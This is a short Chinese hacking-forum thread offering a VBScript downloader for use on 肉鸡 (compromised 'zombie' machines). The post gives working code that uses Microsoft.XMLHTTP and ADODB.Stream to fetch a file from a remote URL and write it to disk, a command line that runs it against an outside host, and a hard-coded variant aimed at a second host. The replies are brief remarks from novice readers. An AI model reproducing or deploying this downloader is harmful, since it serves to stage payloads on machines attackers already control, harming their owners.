让肉鸡下载东西的vbs脚本 vbs, 脚本, 肉鸡, 下载

3ast

让肉鸡下载东西的vbs脚本
iLocal  = LCase(WScript.Arguments(1))  
iRemote = LCase(WScript.Arguments(0))  
Set xPost = CreateObject("Microsoft.XMLHTTP")  

xPost.Open "GET",iRemote,0  
xPost.Send()  
Set sGet = CreateObject("ADODB.Stream")  
sGet.Mode = 3  
sGet.Type = 1  
sGet.Open()  
sGet.Write(xPost.responseBody)  
sGet.SaveToFile iLocal,2   








让肉鸡下载东西的vbs脚本

wscript c:\down.vbs http://www.kill-v.com/22.txt c:\1.txt

http://bbs.5149417.cn





iLocal  ="c:\1.txt"
iRemote ="http://www.kyospace.com/22.txt"
Set xPost = CreateObject("Microsoft.XMLHTTP")  
xPost.Open "GET",iRemote,0  
xPost.Send()  
Set sGet = CreateObject("ADODB.Stream")  
sGet.Mode = 3  
sGet.Type = 1  
sGet.Open()  
sGet.Write(xPost.responseBody)  
sGet.SaveToFile iLocal,2

Iverson333

直接用记事本  编译  .VBE  文件 就行了么?:time:

wt想起

太菜了看不懂！

lichun_530

顶顶顶！
看看看！！

kacos999

學習學習學習!!!!!!!!!!

夏至

看不懂、我也是菜鸟、。